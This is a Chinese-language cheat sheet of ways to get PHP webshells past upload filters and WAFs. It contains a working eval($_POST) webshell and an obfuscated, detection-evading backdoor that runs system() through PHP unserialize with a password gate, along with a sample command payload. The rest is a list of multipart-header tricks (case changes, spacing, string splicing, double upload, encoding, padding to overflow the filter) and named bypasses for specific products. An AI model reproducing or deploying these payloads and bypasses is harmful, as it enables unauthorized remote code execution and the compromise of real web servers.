1.先假設一個前提,可以上傳.htaccess或者.user.ini
因為不知道目標使用的是 nginx 還是 Apache,所以給兩個參考鏈接
如果是nginx可以看看我這篇文章的0x01 CheckIn:https://www.cnpanda.net/ctf/383.html
如果是apache可以看看這篇文章:https://thibaud-robin.fr/articles/bypass-filter-upload/
2.如果檢測是<?php ?>
可以試一試使用其他標簽,如
<script language="php">
eval($_POST[2333]);
</script>
這個要求php<7
或者
<?
...
?>
3.如果檢測的不是php標簽,是敏感內容的話,這里送你一個免殺php馬
<?php
if (isset($_POST['run'])) {
class HandShip {
public $name;
public $male;
function __destruct() {
$allin = $this->name;
$allin($this->male);
}
}
if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){
unserialize($_POST['run']);
}
}
?>
用法:
run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda
4.繞過思路:對文件的內容,數據。數據包進行處理。
關鍵點在這里Content-Disposition: form-data; name="file"; filename="ian.php"
將form-data;
修改為~form-data;
5.通過替換大小寫來進行繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將Content-Disposition
修改為content-Disposition
將 form-data
修改為Form-data
將Content-Type
修改為content-Type
6.通過刪減空格來進行繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將Content-Disposition: form-data
冒號后面 增加或減少一個空格
將form-data; name="file";
分號后面 增加或減少一個空格
將Content-Type: application/octet-stream
冒號后面 增加一個空格
7.通過字符串拼接繞過
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
將 form-data
修改為 f+orm-data
將from-data
修改為 form-d+ata
8.雙文件上傳繞過
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上傳">
</form>
9.HTTP header 屬性值繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"
我們通過替換form-data
為*
來繞過
Content-Disposition: *; name="file"; filename="yjh.php"
10.HTTP header 屬性名稱繞過
源代碼:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
Content-Type: image/png
繞過內容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除掉ontent-Type: image/png
只留下c
,將.php
加c
后面即可,但是要注意額,雙引號要跟着c.php".
11.等效替換繞過
原內容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary
后面加入空格。
12.修改編碼繞過
使用UTF-16
、Unicode
、雙URL編碼
等等
13.WTS-WAF 繞過上傳
原內容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回車
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
14.百度雲上傳繞過
百度雲繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
15.填充垃圾數據,造成溢出后使WAF崩掉
Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十萬++